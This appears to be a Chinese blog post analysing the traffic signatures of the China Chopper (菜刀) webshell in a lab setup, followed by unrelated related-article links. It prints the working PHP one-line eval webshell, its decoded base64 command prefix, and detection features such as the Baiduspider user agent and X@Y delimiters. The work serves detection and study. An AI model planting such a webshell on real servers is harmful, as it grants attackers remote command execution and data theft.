菜刀webshell特征分析

简介: 菜刀webshell特征分析

前言

Webshell是hacker经常使用的一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。

hacker通常利用常见的漏洞,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。

有个想法,看看他这个工具的原理,再分析一下菜刀的特征。我用的最多的就是菜刀,蚁剑安装不上,后面有机会再分析。

环境

用的虚拟机的phpstudy搭建的网站,并在虚拟机里面使用wireshark进行捕捉流量包。

物理机使用的是中国菜刀:https://github.com/raddyfiy/caidao-official-version

上传webshell并连接

一句话木马:

<?php eval($_POST[caidao]);?>

通过某种途径,把一句话木马上传到了网站的根域名下

然后在菜刀工具里面,添加一个新的shell连接,密码caidao

同时也开启wireshark进行抓包,为了更直观的分析,对ip进行了过滤,只看与物理机(192.168.80.1) 的通信

成功连接到webshell

翻看一下目录

执行系统命令

上传了一个测试文本

分析流量

我已经将捕获到的数据包上传至csdn,详细见:https://download.csdn.net/download/weixin_52444045/86269653

特征一:

所有的请求都是一致的,方式为POST,路径为webshell的url地址。

我的是POST /123.php

特征二:

菜刀工具发起的请求头里面,默认的UA为百度的爬虫 Baiduspider

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

不过这个东西是可以在caidao.conf里面进行修改的,还是小心起见

特征三

这个是最主要的一个特征,如果请求包中包含下面信息,那么99%就是菜刀连接到shell了

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

在所有的请求包中,请求体的内容中,key的值就是连接菜刀webshell的密码,后面的值是用base64进行了加密,下面拿出几个值来进行分析下

圈出的这个可以用base64进行解码解出来的,每个请求中的前缀都是一样的,一定要注意这个前缀!!

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

解码后是下面:

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");

特征四

每个返回包中,结果是用X@Y进行包含的

通过返回包可以直观的判断出是做了什么操作。

个人理解

图形操作去执行一些操作的原理是,利用php、asp、jsp的函数去完成操作。

后来找到在caidao.conf文件里面,有写每个操作的函数

下面对抓取到的一个流量包和代码进行对比

可以看到这个是上传文件的操作

可以看出规律: 执行对应操作的代码为

@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");+对应操作的函数代码+;echo("X@Y");die();

然后通过base64编码,传入请求体中。所以前缀是固定的,详细见特征三。

通过分析捕获到的流量包,每一个请求包中都可以解密并找到是什么操作的

目录
相关文章
|
关系型数据库 MySQL 数据安全/隐私保护
MySQL8.0生产环境二进制标准安装
MySQL8.0生产环境二进制标准安装
|
JavaScript
JS自动生成速记符、拼音简写/拼音的声母(例如:“你挚爱的强哥”转换为“NZADQG”)。提取首字母,返回大写形式;提取拼音, 返回首字母大写形式(全拼)。
JS自动生成速记符、拼音简写/拼音的声母(例如:“你挚爱的强哥”转换为“NZADQG”)。提取首字母,返回大写形式;提取拼音, 返回首字母大写形式(全拼)。
28071 0
|
安全 架构师 编译器
鲲鹏开发重点-–扭转x86乾坤的挑战,ARM64内存模型
因为X86及其CISC架构生态的封闭性,中国市场对未来处理器的选择,将是更开放、更模块化的RISC架构。 鲲鹏处理器就是符合这个潮流的创新产品和生态,将直面一系列挑战,和Apple一样赢得这场挑战,来扭转X86的封闭性的乾坤,创造出中国的处理器新生态。
1951 0
鲲鹏开发重点-–扭转x86乾坤的挑战,ARM64内存模型
|
6月前
|
弹性计算 负载均衡 网络协议
。全球加速GA实战:为出海游戏业务降低延迟的架构方案
阿里云全球加速(GA)为出海游戏提供低延迟、高稳定网络方案,通过智能路由与全球70+地区边缘节点,优化TCP/UDP协议传输,解决跨境延迟高、公网不稳定难题。分层架构支持四层加速、智能调度与混合云部署,结合CDN与游戏盾,实现全球玩家流畅对战,助力打造无国界沉浸式体验。(239字)
|
存储 供应链 监控
1688商品数据实战:API搜索接口开发与供应链分析应用
本文详细介绍了如何通过1688开放API实现商品数据的获取与应用,涵盖接入准备、签名流程、数据解析存储及商业化场景。开发者可完成智能选品、价格监控和供应商评级等功能,同时提供代码示例与问题解决方案,确保法律合规与数据安全。适合企业开发者快速构建供应链管理系统。
|
存储 分布式计算 资源调度
Hadoop入门基础(三):如何巧妙划分Hadoop集群,全面提升数据处理性能?
Hadoop入门基础(三):如何巧妙划分Hadoop集群,全面提升数据处理性能?
|
数据采集 索引 Python
Pandas之DataFrame,快速入门,迅速掌握(二)
Pandas之DataFrame,快速入门,迅速掌握(二)
701 0
|
数据安全/隐私保护
BUUCTF---misc---菜刀666
BUUCTF---misc---菜刀666
针对一个红队病毒样本逆向分析
近日翻到一个比较新颖的样本,在最终后门载荷释放前运用了不少免杀手段,包括堆栈欺骗,实现反射性调用API,以及DLL侧加载、DLL挖空、HOOK规避等手法,对其执行流程和部分手法做详细分析记录。
|
C# 开发者
全面提升开发效率:详解如何使用Blazor Server与SignalR打造实时Web应用,从零开始构建聊天室示例并掌握实时通信核心技术
【8月更文挑战第31天】提高生产力不仅关乎效率提升,更在于用更少时间完成更多任务。本文将通过具体代码示例,介绍如何结合 Blazor Server 和 SignalR 构建实时 Web 应用。从创建 Blazor 项目到添加 SignalR 支持,再到实现客户端与服务器间的实时通信,每个步骤都详细讲解。通过这一组合,C# 开发者能获得前后端一致的编程体验,轻松打造高效、响应迅速的实时应用。实时通信功能已在社交、协作等多个领域发挥重要作用,本文将助你掌握这一强大技术组合。
812 0